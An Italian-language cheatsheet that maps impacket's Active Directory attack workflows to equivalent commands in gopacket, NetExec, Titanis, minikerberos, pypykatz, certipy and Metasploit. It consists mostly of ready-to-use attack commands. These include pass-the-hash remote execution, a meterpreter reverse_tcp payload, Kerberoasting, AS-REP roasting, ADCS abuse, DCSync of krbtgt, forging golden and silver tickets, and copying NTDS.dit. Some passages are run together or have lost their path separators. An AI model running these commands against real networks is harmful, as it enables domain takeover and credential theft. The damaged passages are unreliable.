
Questa cheatsheet mappa i flussi di lavoro comuni di impacket alle loro alternative moderne.
Stanco di impacket? Questa cheatsheet mappa i flussi di lavoro comuni di impacket con le loro alternative moderne
wmiexec.pydcomexec.pysmbexec.py · psexec.pyatexec.pywmiexec.py · psexec.pygetTGT.pygetST.pygetST.py -impersonateGetUserSPNs.pyGetNPUsers.pyGetNPUsers.pygetST.py -renewticketConverter.pychangepasswd.pyticketer.pysmbclient.py -sharessmbclient.pysmbclient.py getsmbclient.py putsmbclient.pysmbclient.pysmbclient.py -hashesproxychains smbclient.pynetview.pysmbclient.py list_snapshotssecretsdump.py -samsecretsdump.py -lsasecretsdump.pysecretsdump.pysecretsdump.py -use-vsswmiexec.py · smbclient.pywmiexec.pywmiexec.py · smbclient.pysamrdump.py · net.pynet.py group · net.py localgrouplookupsid.pyrpcdump.py · rpcmap.pywmiquery.pywmiexec.pyreg.pyservices.pyGetADUsers.py · GetADComputers.pyldapsearch · bloodyADfindDelegation.pyaddcomputer.pynet.py user -addrbcd.pydacledit.py · owneredit.pynet.pyprinterbug.py · dfscoerce.py
ntlmrelayx.py · smbserver.py (cattura)netexec ldap -M adcs⚠️ Nota sul ccache di Titanis:
-Tgtattualmente rifiuta i file ccache generati da impacket (getTGT.py) e strumenti simili. Causa principale: impacket codifica il service principal del TGT come NT_PRINCIPAL (name type 1); Titanis si aspetta NT_SERVICE_INSTANCE (name type 2) e non riconosce il ticket come TGT. È in arrivo una correzione da parte dello sviluppatore di Titanis per allentare questo controllo. Nel frattempo, usaKerb asreq -TicketCacheper ottenere un TGT nativo di Titanis e passalo tramite-Tgt. Separatamente,-TicketCachenon fornisce silenziosamente alcun contesto di autenticazione per file ccache non nativi — usa invece-Tgt(con un file generato da Titanis). Per i file ccache di impacket/Metasploit, usaKRB5CCNAME+wmiexec.py -k/smbclient.py -kdirettamente.
wmiexec.py DOMAIN/jdoe:[email protected] "whoami"
wmiexec DOMAIN/jdoe:[email protected]
netexec smb 192.168.1.10 -u jdoe -p Password123 -x "whoami"
Wmi exec 192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123 "whoami"
wmiexec.py -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 DOMAIN/[email protected] "ipconfig"
wmiexec -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 DOMAIN/[email protected]
netexec smb 192.168.1.10 -u jdoe -H A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 -x "ipconfig"
Wmi exec 192.168.1.10 -UserName jdoe -UserDomain DOMAIN
-NtlmHash A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 "ipconfig"
wmiexec.py -k -no-pass DOMAIN/[email protected] "hostname"
KRB5CCNAME=jdoe.ccache wmiexec -k -no-pass -dc-ip 192.168.1.1
DOMAIN/[email protected]
Wmi exec dc01 -ha 192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Kdc 192.168.1.1 -Password Password123 "hostname"
Wmi exec dc01 -ha 192.168.1.10 -Tgt /tmp/jdoe.ccache -Kdc 192.168.1.1 "hostname"
[↑ Torna all'indice](#index)
---
### DCOM Exec
> **Titanis `Dcom invoke` — SOP per il lookup del CLSID:**
> - **La risoluzione del ProgID è locale.** Titanis risolve i ProgID (ad es. `MMC20.Application`) dal registro dell'attaccante, non da quello del target. Da Linux non esiste un registro da interrogare; da Windows, il CLSID dell'attaccante può differire da quello del target. Usa sempre `Reg` per cercare il CLSID effettivo sul sistema remoto, quindi passa il GUID grezzo.
> - **Attraversamento della catena di proprietà** (v0.9.20260320+): Dcom invoke ora supporta percorsi di proprietà con notazione puntata come `Document.ActiveView.ExecuteShellCommand`, attraversando automaticamente la catena IDispatch. MMC20.Application funziona. ShellWindows `Item()` non funziona — richiede un argomento indice che la sintassi della catena non può passare.```bash
# impacket
dcomexec.py DOMAIN/jdoe:[email protected] "whoami"
# impacket — pass-the-hash
dcomexec.py -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 DOMAIN/[email protected] "whoami"
# impacket — explicit CLSID (default is MMC20.Application; ShellWindows or ShellBrowserWindow also work)
dcomexec.py DOMAIN/jdoe:[email protected] "whoami" -object ShellWindows
dcomexec.py DOMAIN/jdoe:[email protected] "whoami" -object ShellBrowserWindow
# gopacket — password (interactive semi-shell; default object is ShellWindows)
dcomexec DOMAIN/jdoe:[email protected]
# gopacket — pass-the-hash with MMC20 object
dcomexec -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 -object MMC20 DOMAIN/[email protected]
# gopacket — silent command execution (no interactive shell, output redirect required)
dcomexec -object MMC20 -silentcommand DOMAIN/jdoe:[email protected] \
'cmd /c whoami > C:\Windows\Temp\out.txt'
# NetExec
netexec smb 192.168.1.10 -u jdoe -p Password123 -x "whoami" --exec-method dcomexec
# Titanis — MMC20.Application ExecuteShellCommand (requires v0.9.20260320+)
# 4 args: Command, Directory, Parameters, WindowState (7=minimized)
# ExecuteShellCommand does not return output — redirect to a file and retrieve via Smb2Client
Dcom invoke 192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123 \
49B2791A-B1AE-4C90-9B8E-E860BA07F889 \
Document.ActiveView.ExecuteShellCommand \
cmd.exe 'C:\' '/c whoami > C:\Windows\Temp\out.txt' '7'
Smb2Client get -UserName jdoe -UserDomain DOMAIN -Password Password123 \
'\\192.168.1.10\C$\Windows\Temp\out.txt'
# Titanis — ShellBrowserWindow Navigate (launches exe, no args — works on older versions too)
Dcom invoke 192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123 \
'{C08AFD90-F2A1-11D1-8455-00A0C91F3880}' Navigate \
'C:\Windows\System32\cmd.exe'
# CLSID lookup SOP — look up on the remote system, then pass the raw GUID
# Step 1: Titanis Reg list cannot read unnamed (default) registry values — use wmiexec
wmiexec.py DOMAIN/jdoe:[email protected] \
'reg query HKCR\\MMC20.Application\\CLSID /ve'
# → (Default) REG_SZ {49B2791A-B1AE-4C90-9B8E-E860BA07F889}
# Step 2 (optional): inspect the CLSID entry to confirm AppID/auth level
Reg list 192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123 \
'HKLM\SOFTWARE\Classes\CLSID\{49B2791A-B1AE-4C90-9B8E-E860BA07F889}'
⚠️
smbexec.pycontro i DC:smbexec.pyfallisce contro i controller di dominio conSTATUS_OBJECT_NAME_NOT_FOUNDall'apertura di\pipe\svcctl. I DC sono più severi riguardo ai parametri di apertura delle named pipe rispetto ai server membri — i flag di smbexec vengono respinti laddove quelli diservices.pynon lo sono. Usareservices.pyper la gestione dei servizi sui DC, oppurewmiexec.pyper l'esecuzione remota.```bash
smbexec.py DOMAIN/jdoe:[email protected]
smbexec DOMAIN/jdoe:[email protected]
smbexec -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 DOMAIN/[email protected]
psexec.py DOMAIN/jdoe:[email protected] cmd.exe
psexec DOMAIN/jdoe:[email protected]
psexec -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 DOMAIN/[email protected]
msf6 > use exploit/windows/smb/psexec
msf6 exploit(psexec) > run rhosts=192.168.1.10 smbdomain=DOMAIN smbuser=jdoe
smbpass=Password123 payload=windows/x64/meterpreter/reverse_tcp lhost=
msf6 exploit(psexec) > run rhosts=192.168.1.10 smbdomain=DOMAIN smbuser=jdoe
smbpass=aad3b435b51404eeaad3b435b51404ee:A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5
payload=windows/x64/meterpreter/reverse_tcp lhost=
Scm create 192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123 mysvc
"C:\Windows\System32\cmd.exe /c whoami > C:\Windows\Temp\out.txt" -Start
Smb2Client get \192.168.1.10\ADMIN$\Temp\out.txt out.txt -UserName jdoe -UserDomain DOMAIN -Password Password123
Scm stop 192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123 mysvc
Scm delete 192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123 mysvc
[↑ Torna all'indice](#index)
---
### Esecuzione dell'attività pianificata
> **Nota:** MS-TSCH non è ancora implementato in Titanis. Usa `Win32_ScheduledJob` tramite WMI come soluzione alternativa, oppure `atexec.py` per la semantica MS-TSCH reale.```bash
# Titanis — create immediate scheduled task via Win32_ScheduledJob
Wmi invoke 192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123 \
Win32_ScheduledJob Create \
"Command='cmd /c whoami > C:\\Windows\\Temp\\out.txt',StartTime='********143000.000000+000'"
# Titanis — retrieve output and clean up
Smb2Client get \\192.168.1.10\C$\Windows\Temp\out.txt out.txt \
-UserName jdoe -UserDomain DOMAIN -Password Password123
Smb2Client rm \\192.168.1.10\C$\Windows\Temp\out.txt \
-UserName jdoe -UserDomain DOMAIN -Password Password123
# impacket — true MS-TSCH (creates, runs, and cleans up automatically)
atexec.py DOMAIN/jdoe:[email protected] "whoami > C:\Windows\Temp\out.txt"
# gopacket — MS-TSCH scheduled task exec (runs as NT AUTHORITY\SYSTEM)
atexec DOMAIN/jdoe:[email protected] whoami
# gopacket — pass-the-hash
atexec -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 DOMAIN/[email protected] whoami
# impacket — pass-the-hash
atexec.py -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 DOMAIN/[email protected] \
"whoami > C:\Windows\Temp\out.txt"
# NetExec
netexec smb 192.168.1.10 -u jdoe -p Password123 -x "whoami" --exec-method atexec
netexec smb 192.168.1.0/24 -u jdoe -p Password123 -x "whoami"
netexec smb 192.168.1.0/24 -u jdoe -H A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 -x "whoami"
while IFS= read -r host; do
echo "=== $host ===" >> exec_results.txt
wmi exec "$host" -UserName jdoe -UserDomain DOMAIN -Password Password123
"whoami /all" >> exec_results.txt 2>&1
done < hosts.txt
[↑ Torna all'indice](#index)
---
## 2. Kerberos
### Richiedi un TGT```bash
# impacket — password
getTGT.py DOMAIN/jdoe:Password123 -dc-ip 192.168.1.1
# gopacket — password
getTGT -dc-ip 192.168.1.1 DOMAIN/jdoe:[email protected]
# minikerberos — password
minikerberos-getTGT "kerberos+password://DOMAIN\jdoe:[email protected]" --ccache jdoe.ccache
# Titanis — password (outputs kirbi)
Kerb asreq -UserName jdoe -Realm DOMAIN -Password Password123 \
-Kdc 192.168.1.1 -OutputFileName jdoe-tgt.kirbi
# Metasploit
msf6 > use auxiliary/admin/kerberos/get_ticket
msf6 auxiliary(get_ticket) > run rhosts=192.168.1.1 domain=DOMAIN.LOCAL user=jdoe \
password=Password123 action=GET_TGT
# impacket — NTLM hash
getTGT.py -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 DOMAIN/jdoe -dc-ip 192.168.1.1
# gopacket — NTLM hash
getTGT -dc-ip 192.168.1.1 -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 DOMAIN/[email protected]
# minikerberos — NTLM hash
minikerberos-getTGT "kerberos+ntlm-nt://DOMAIN\jdoe:[email protected]" --ccache jdoe.ccache
# Titanis — NTLM hash
Kerb asreq -UserName jdoe -Realm DOMAIN -NtlmHash A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 \
-Kdc 192.168.1.1 -OutputFileName jdoe-tgt.kirbi
# impacket — AES256
getTGT.py -aesKey 76332deee4296dcb20200888630755268e605c8576e50ff38db2d8b92351f4e4 DOMAIN/jdoe
# minikerberos — AES256
minikerberos-getTGT \
"kerberos+aes://DOMAIN\jdoe:76332deee4296dcb20200888630755268e605c8576e50ff38db2d8b92351f4e4@192.168.1.1" \
--ccache jdoe.ccache
# Titanis — AES256
Kerb asreq -UserName jdoe -Realm DOMAIN \
-AesKey 76332deee4296dcb20200888630755268e605c8576e50ff38db2d8b92351f4e4 \
-Kdc 192.168.1.1 -OutputFileName jdoe-tgt.kirbi
# certipy — PKINIT
certipy auth -pfx jdoe.pfx -dc-ip 192.168.1.1 -domain DOMAIN.LOCAL
# minikerberos — PKINIT (also recovers NT hash via UnPAC)
minikerberos-getTGT \
"kerberos+pfx://DOMAIN\jdoe:@192.168.1.1?pfx=jdoe.pfx&pfxpass=Password123" \
--ccache jdoe.ccache
# Titanis — explicit RC4
Kerb asreq -UserName jdoe -Realm DOMAIN -Password Password123 \
-EncTypes Rc4Hmac -Kdc 192.168.1.1 -OutputFileName jdoe-tgt-rc4.kirbi
getST.py -spn cifs/fileserver.domain.local -dc-ip 192.168.1.1 DOMAIN/jdoe:Password123
msf6 auxiliary(get_ticket) > run rhosts=192.168.1.1 domain=DOMAIN.LOCAL user=jdoe
password=Password123 spn=cifs/fileserver.domain.local action=GET_TGS
minikerberos-getTGS
"kerberos+ccache://DOMAIN\jdoe:@192.168.1.1?ccache=jdoe.ccache"
cifs/fileserver.domain.local fileserver.ccache
Kerb tgsreq -Kdc 192.168.1.1 -Tgt jdoe-tgt.kirbi
cifs/fileserver.domain.local -OutputFileName jdoe-fileserver.kirbi
getST -dc-ip 192.168.1.1 -spn cifs/fileserver.domain.local DOMAIN/jdoe:[email protected]
getST -dc-ip 192.168.1.1 -spn cifs/fileserver.domain.local
-hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 DOMAIN/[email protected]
[↑ Torna all'indice](#index)
---
### S4U2self / S4U2proxy```bash
# impacket — S4U2self + S4U2proxy in one call
getST.py -spn cifs/target.domain.local -impersonate Administrator \
-dc-ip 192.168.1.1 DOMAIN/svc:Password123
# impacket — pass-the-hash
getST.py -spn cifs/target.domain.local -impersonate Administrator \
-hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 -dc-ip 192.168.1.1 DOMAIN/svc
# minikerberos — S4U2self
minikerberos-getS4U2self \
"kerberos+password://DOMAIN\svc$:[email protected]" \
[email protected] s4u_self.ccache
# minikerberos — S4U2proxy
minikerberos-getS4U2proxy \
"kerberos+password://DOMAIN\svc$:[email protected]" \
cifs/target.domain.local s4u_self.ccache s4u_proxy.ccache
# Titanis — combined self+proxy
Kerb tgsreq -Kdc 192.168.1.1 -Tgt svc-tgt.kirbi \
-S4UserName Administrator@DOMAIN cifs/target.domain.local \
-OutputFileName admin-target.kirbi
# gopacket — S4U2self + S4U2proxy (combined)
getST -dc-ip 192.168.1.1 -spn cifs/target.domain.local -impersonate Administrator \
DOMAIN/svc:[email protected]
# gopacket — pass-the-hash
getST -dc-ip 192.168.1.1 -spn cifs/target.domain.local -impersonate Administrator \
-hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 DOMAIN/[email protected]
GetUserSPNs.py -dc-ip 192.168.1.1 -request DOMAIN/jdoe:Password123
msf6 > use auxiliary/gather/get_user_spns
msf6 auxiliary(get_user_spns) > run rhosts=192.168.1.1 domain=DOMAIN.LOCAL
user=jdoe pass=Password123
msf6 auxiliary(get_user_spns) > run rhosts=192.168.1.1 domain=DOMAIN.LOCAL
user=jdoe nthash=A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5
netexec ldap 192.168.1.1 -u jdoe -p Password123 --kerberoasting kerberoast.txt
minikerberos-kerberoast "kerberos+password://DOMAIN\jdoe:[email protected]"
kerberoast_hashes.txt
minikerberos-kerberoast "kerberos+ntlm-nt://DOMAIN\jdoe:[email protected]"
kerberoast_hashes.txt
pypykatz kerberos spnroast "kerberos+password://DOMAIN\jdoe:[email protected]"
-o kerberoast_hashes.txt
pypykatz kerberos spnroast
"kerberos+ntlm-nt://DOMAIN\jdoe:[email protected]"
-o kerberoast_hashes.txt
msldap "ldap+ntlm-password://DOMAIN\jdoe:[email protected]"
Ldap query 192.168.1.1 -UserName jdoe -UserDomain DOMAIN -Password Password123
"(servicePrincipalName=)" -OutputFields servicePrincipalName
-OutputStyle List -FollowReferrals 2>/dev/null
| awk '/^servicePrincipalName:/{print $2}' > spns.txt
Kerb asreq -UserName jdoe -Realm DOMAIN -Password Password123
-Kdc 192.168.1.1 -OutputFileName jdoe-tgt.kirbi
while IFS= read -r spn; do
safe=$(echo "$spn" | tr '/:@' '')
kerb tgsreq -Kdc 192.168.1.1 -Tgt jdoe-tgt.kirbi
-EncTypes Rc4Hmac "$spn" -OutputFileName "roast${safe}.kirbi"
done < spns.txt
Kerb select -From roast_.kirbi -Into kerberoast-all.ccache
minikerberos-ccacheroast kerberoast-all.ccache
GetUserSPNs -dc-ip 192.168.1.1 -port 389 -request DOMAIN/jdoe:[email protected]
GetUserSPNs -dc-ip 192.168.1.1 -port 389 -request
-hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 DOMAIN/[email protected]
[↑ Torna all'indice](#index)
---
### AS-REP Roasting```bash
# impacket — no credentials required
GetNPUsers.py -dc-ip 192.168.1.1 -no-pass -usersfile users.txt DOMAIN/
# Metasploit
msf6 > use auxiliary/gather/kerberos_enumusers
msf6 auxiliary(kerberos_enumusers) > run rhosts=192.168.1.1 domain=DOMAIN.LOCAL \
user_file=/path/to/users.txt
# NetExec
netexec ldap 192.168.1.1 -u jdoe -p Password123 --asreproast asrep.txt
# pypykatz — no credentials required, userlist
pypykatz kerberos asreproast "kerberos+password://DOMAIN\@192.168.1.1" \
--userlist users.txt -o asrep_hashes.txt
# pypykatz — authenticated, auto-discover targets via LDAP
pypykatz kerberos asreproast "kerberos+password://DOMAIN\jdoe:[email protected]" \
--ldap "ldap+ntlm-password://DOMAIN\jdoe:[email protected]" -o asrep_hashes.txt
# minikerberos — userlist (no credentials required)
# syntax: minikerberos-asreproast <server_ip> <domain> [user | @userlist.txt]
minikerberos-asreproast 192.168.1.1 DOMAIN @users.txt
# minikerberos — NTLM hash auth (enumerate via LDAP, then roast)
# Pass individual username or @file; no URL arg — server+domain are positional
minikerberos-asreproast 192.168.1.1 DOMAIN @users.txt
# msldap (enumerate targets only — no hash capture)
msldap "ldap+ntlm-password://DOMAIN\jdoe:[email protected]"
# msldap> asrep
# Titanis — find targets via LDAP, loop asreq
# Note: -FollowReferrals required on Linux — default behavior prints referral as INFO and returns no records
Ldap query 192.168.1.1 -UserName jdoe -UserDomain DOMAIN -Password Password123 \
"(userAccountControl|=4194304)" \
-OutputFields sAMAccountName -FollowReferrals > asrep_targets.txt
while IFS= read -r user; do
kerb asreq -UserName "$user" -Realm DOMAIN \
-Kdc 192.168.1.1 -EncTypes Rc4Hmac \
-OutputFileName "asrep_${user}.kirbi" 2>/dev/null
done < <(awk '/sAMAccountName:/{print $2}' asrep_targets.txt)
# gopacket — authenticated LDAP enumeration + roast (requires -port 389)
GetNPUsers -dc-ip 192.168.1.1 -port 389 DOMAIN/jdoe:[email protected]
# gopacket — pass-the-hash
GetNPUsers -dc-ip 192.168.1.1 -port 389 \
-hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 DOMAIN/[email protected]
# gopacket — unauthenticated with user list
GetNPUsers -dc-ip 192.168.1.1 -no-pass -usersfile users.txt DOMAIN/@192.168.1.1
Estrae gli hash $krb5tgs$ dai file ccache rubati senza effettuare nuove richieste.```bash
minikerberos-ccacheroast stolen.ccache
pypykatz kerberos ccache roast stolen.ccache
[↑ Torna all'indice](#index)
---
### Pre-Auth / Enc-Type Probe```bash
# kerbrute — enumerate valid accounts (no credentials)
kerbrute userenum -d DOMAIN --dc 192.168.1.1 users.txt
# pypykatz — enumerate valid accounts (no credentials)
pypykatz kerberos brute "kerberos+password://DOMAIN\@192.168.1.1" users.txt
# impacket — shows no-preauth accounts only
GetNPUsers.py -dc-ip 192.168.1.1 -no-pass -usersfile users.txt DOMAIN/
# Metasploit — classifies valid / disabled / no-preauth
msf6 > use auxiliary/gather/kerberos_enumusers
msf6 auxiliary(kerberos_enumusers) > run rhosts=192.168.1.1 domain=DOMAIN.LOCAL \
user_file=/path/to/users.txt verbose=true
# Titanis — single account probe
Kerb getasinfo -UserName jdoe -Realm DOMAIN -Kdc 192.168.1.1
# Titanis — bulk probe loop
while IFS= read -r user; do
result=$(kerb getasinfo -UserName "$user" -Realm DOMAIN -Kdc 192.168.1.1 2>&1)
if echo "$result" | grep -q "PRINCIPAL_UNKNOWN\|does not exist"; then
echo "INVALID: $user"
elif echo "$result" | grep -q "preauth.*false\|DONT_REQ_PREAUTH"; then
echo "NO-PREAUTH: $user"
else
echo "VALID: $user"
fi
done < users.txt
Recupera l'hash NT di un account tramite PKINIT dopo aver ottenuto un certificato.```bash
certipy auth -pfx targetuser.pfx -dc-ip 192.168.1.1 -domain DOMAIN.LOCAL
certipy auth -pfx admin.pfx -username Administrator -domain DOMAIN.LOCAL
-dc-ip 192.168.1.1
minikerberos-getNTPKInit
"kerberos+pfx://DOMAIN\targetuser:@192.168.1.1?pfx=targetuser.pfx"
targetuser_nt.txt
python gettgtpkinit.py -cert-pfx targetuser.pfx -pfx-pass Password123
-dc-ip 192.168.1.1 DOMAIN/targetuser targetuser.ccache
export KRB5CCNAME=targetuser.ccache python getnthash.py -key DOMAIN/targetuser
certipy req -username jdoe@DOMAIN -password Password123
-ca CA-NAME -template VulnerableTemplate
-upn [email protected]
-target ca.domain.local -out admin
minikerberos-getNTPKInit
"kerberos+pfx://DOMAIN\Administrator:@192.168.1.1?pfx=admin.pfx" admin_nt.txt
Wmi exec 192.168.1.10 -UserName Administrator -UserDomain DOMAIN -NtlmHash <recovered_nt> "whoami"
[↑ Torna all'indice](#index)
---
### Rinnovo del Ticket```bash
# impacket
export KRB5CCNAME=jdoe.ccache
getST.py -k -no-pass -renew -spn krbtgt/DOMAIN.LOCAL -dc-ip 192.168.1.1 DOMAIN/jdoe
# MIT Kerberos
kinit -R
krenew -v -b -t
# minikerberos
minikerberos-renewTGT "kerberos+ccache://DOMAIN\jdoe:@192.168.1.1?ccache=jdoe.ccache" jdoe-renewed.ccache
# Titanis
Kerb renew -Ticket jdoe-tgt.kirbi -OutputFileName jdoe-tgt-renewed.kirbi
# gopacket — renew TGT (KRB5CCNAME must point to an existing ccache)
KRB5CCNAME=jdoe.ccache getST -renew -spn krbtgt/DOMAIN.LOCAL -dc-ip 192.168.1.1 -k -no-pass DOMAIN/[email protected]
ticketConverter.py jdoe.ccache jdoe.kirbi ticketConverter.py jdoe.kirbi jdoe.ccache
msf6 > use auxiliary/admin/kerberos/ticket_converter msf6 auxiliary(ticket_converter) > run inputpath=jdoe.ccache outputpath=jdoe.kirbi
msf6 > use auxiliary/admin/kerberos/inspect_ticket msf6 auxiliary(inspect_ticket) > run ticket_path=jdoe.ccache nthash=A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5
minikerberos-ccache2kirbi jdoe.ccache minikerberos-kirbi2ccache jdoe.kirbi jdoe.ccache minikerberos-ccacheedit list jdoe.ccache minikerberos-ccacheedit delete jdoe.ccache
Kerb select -From jdoe.ccache Kerb select -From jdoe*.kirbi -Into all-jdoe.ccache
ticketConverter jdoe.ccache jdoe.kirbi ticketConverter jdoe.kirbi jdoe.ccache
describeTicket /path/to/jdoe.ccache describeTicket /path/to/jdoe.kirbi
[↑ Torna all'indice](#index)
---
### Cambia Password```bash
# impacket — user changes own password
changepasswd.py -protocol kpasswd DOMAIN/jdoe:[email protected] -newpass NewPass
# Titanis — change own password
Kerb changepw jdoe@DOMAIN 192.168.1.1 -Password OldPass NewPass
# impacket — admin resets another user's password
changepasswd.py -reset DOMAIN/admin:[email protected] -newpass NewPass -altuser DOMAIN/jdoe
# bloodyAD — admin resets another user's password
bloodyAD -H 192.168.1.1 -d DOMAIN -u admin -p AdminPass set password jdoe NewPass
# bloodyAD — pass-the-hash
bloodyAD -H 192.168.1.1 -d DOMAIN -u admin -p :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 set password jdoe NewPass
# Titanis — admin sets another user's password
Kerb setpw -UserName admin -UserDomain DOMAIN -Kdc 192.168.1.1 -Password AdminPass jdoe@DOMAIN NewPass
# gopacket — admin resets another user's password (SAMR over SMB)
changepasswd -reset -altuser DOMAIN/admin -altpass AdminPass -newpass NewPass DOMAIN/[email protected]
# gopacket — admin reset via pass-the-hash
changepasswd -reset -altuser DOMAIN/admin -althash A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 -newpass NewPass DOMAIN/[email protected]
Stato di Titanis: Nessuna creazione di ticket. Usa Metasploit
auxiliary/admin/kerberos/forge_ticket(Ruby nativo) oticketer.pydi impacket. ⚠️ I ticket falsificati non possono essere attualmente caricati in Titanis tramite-Tgt— impacket codifica i principal di servizio TGT come NT_PRINCIPAL (name type 1) ma Titanis si aspetta NT_SERVICE_INSTANCE (name type 2); una correzione è in attesa da parte dello sviluppatore. UsaKRB5CCNAME+ impacket (wmiexec.py -k,smbclient.py -k) direttamente con i ticket falsificati per ora.```bash
secretsdump.py DOMAIN/Administrator:[email protected]
-just-dc-user DOMAIN/krbtgt | grep krbtgt
pypykatz smb dcsync "smb2+ntlm-password://DOMAIN\Administrator:[email protected]"
--username krbtgt
msf6 > use auxiliary/admin/kerberos/forge_ticket
msf6 auxiliary(forge_ticket) > run action=FORGE_GOLDEN domain=DOMAIN.LOCAL
domain_sid=S-1-5-21-... nthash=<krbtgt_ntlm> username=Administrator
msf6 auxiliary(forge_ticket) > run action=FORGE_SILVER domain=DOMAIN.LOCAL
domain_sid=S-1-5-21-... nthash=<service_ntlm> username=Administrator
spn=cifs/fileserver.domain.local
msf6 auxiliary(forge_ticket) > run action=FORGE_DIAMOND domain=DOMAIN.LOCAL
rhosts=192.168.1.1 user=jdoe password=Password123
nthash=<krbtgt_ntlm> username=Administrator
msf6 auxiliary(forge_ticket) > run action=FORGE_SAPPHIRE domain=DOMAIN.LOCAL
rhosts=192.168.1.1 user=jdoe password=Password123
nthash=<krbtgt_ntlm> username=Administrator
ticketer.py -nthash <krbtgt_ntlm> -domain-sid S-1-5-21-...
-domain DOMAIN.LOCAL Administrator
export KRB5CCNAME=Administrator.ccache wmiexec.py -k -no-pass DOMAIN/[email protected] "whoami" smbclient.py -k -no-pass DOMAIN/[email protected]
ticketer.py -nthash <service_ntlm> -domain-sid S-1-5-21-...
-domain DOMAIN.LOCAL -spn cifs/fileserver.domain.local Administrator
export KRB5CCNAME=Administrator.ccache
smbclient.py -k -no-pass DOMAIN/[email protected]
ticketer -nthash <krbtgt_ntlm> -domain-sid S-1-5-21-...
-domain DOMAIN.LOCAL Administrator
export KRB5CCNAME=Administrator.ccache
wmiexec -k -no-pass DOMAIN/[email protected] "whoami"
ticketer -nthash <service_ntlm> -domain-sid S-1-5-21-...
-domain DOMAIN.LOCAL -spn cifs/fileserver.domain.local Administrator
export KRB5CCNAME=Administrator.ccache
smbclient -k -no-pass DOMAIN/[email protected]
[↑ Torna all'indice](#index)
---
## 3. SMB / Operazioni sui file
### Elenca condivisioni```bash
# impacket
smbclient.py -shares DOMAIN/jdoe:[email protected]
# NetExec
netexec smb 192.168.1.10 -u jdoe -p Password123 --shares
# smbclient
smbclient -L //192.168.1.10 -U 'DOMAIN\jdoe%Password123'
# aiosmb — password
asmbshareenum "smb+ntlm-password://DOMAIN\jdoe:[email protected]"
# aiosmb — pass-the-hash
asmbshareenum "smb+ntlm-nt://DOMAIN\jdoe:[email protected]"
# aiosmb — Kerberos ccache
asmbshareenum "smb+kerberos+ccache://DOMAIN\jdoe:@192.168.1.10/?dc=192.168.1.1&ccache=jdoe.ccache"
# Titanis
Smb2Client enumshares \\192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123
# gopacket — password
smbclient -shares DOMAIN/jdoe:[email protected]
# gopacket — pass-the-hash
smbclient -shares -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 DOMAIN/[email protected]
smbclient.py DOMAIN/jdoe:[email protected]
smbclient-ng -u jdoe -p Password123 --domain DOMAIN --host 192.168.1.10
asmbclient "smb+ntlm-password://DOMAIN\jdoe:[email protected]"
asmbclient "smb+ntlm-nt://DOMAIN\jdoe:[email protected]"
Smb2Client ls \192.168.1.10\Share -UserName jdoe -UserDomain DOMAIN -Password Password123 Smb2Client ls \192.168.1.10\C$ -UserName jdoe -UserDomain DOMAIN -Password Password123
smbclient DOMAIN/jdoe:[email protected]
smbclient -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 DOMAIN/[email protected]
[↑ Torna all'indice](#index)
---
### Scarica un file```bash
# impacket
smbclient.py DOMAIN/jdoe:[email protected]
# smb: \> get Windows\System32\drivers\etc\hosts hosts.txt
# smbclient
smbclient //192.168.1.10/C$ -U 'DOMAIN\jdoe%Password123' \
-c 'get Windows\System32\drivers\etc\hosts hosts.txt'
# aiosmb — password (full path embedded in URL after the host)
asmbgetfile "smb+ntlm-password://DOMAIN\jdoe:[email protected]/C$/Windows/System32/drivers/etc/hosts" \
-o hosts.txt
# aiosmb — pass-the-hash
asmbgetfile "smb+ntlm-nt://DOMAIN\jdoe:[email protected]/C$/Windows/System32/drivers/etc/hosts" \
-o hosts.txt
# Titanis
Smb2Client get \\192.168.1.10\C$\Windows\System32\drivers\etc\hosts hosts.txt \
-UserName jdoe -UserDomain DOMAIN -Password Password123
Per file bloccati o protetti (NTDS.dit, SYSTEM hive, ecc.).```bash
Smb2Client get \192.168.1.10\C$\Windows\NTDS\ntds.dit ntds.dit
-UserName jdoe -UserDomain DOMAIN -Password Password123 -UseBackupSemantics
[↑ Torna all'indice](#index)
---
### Carica un file```bash
# impacket
smbclient.py DOMAIN/jdoe:[email protected]
# smb: \> put payload.exe Windows\Temp\payload.exe
# smbclient
smbclient //192.168.1.10/C$ -U 'DOMAIN\jdoe%Password123' \
-c 'put payload.exe Windows\Temp\payload.exe'
# Titanis
Smb2Client put payload.exe \\192.168.1.10\C$\Windows\Temp\payload.exe \
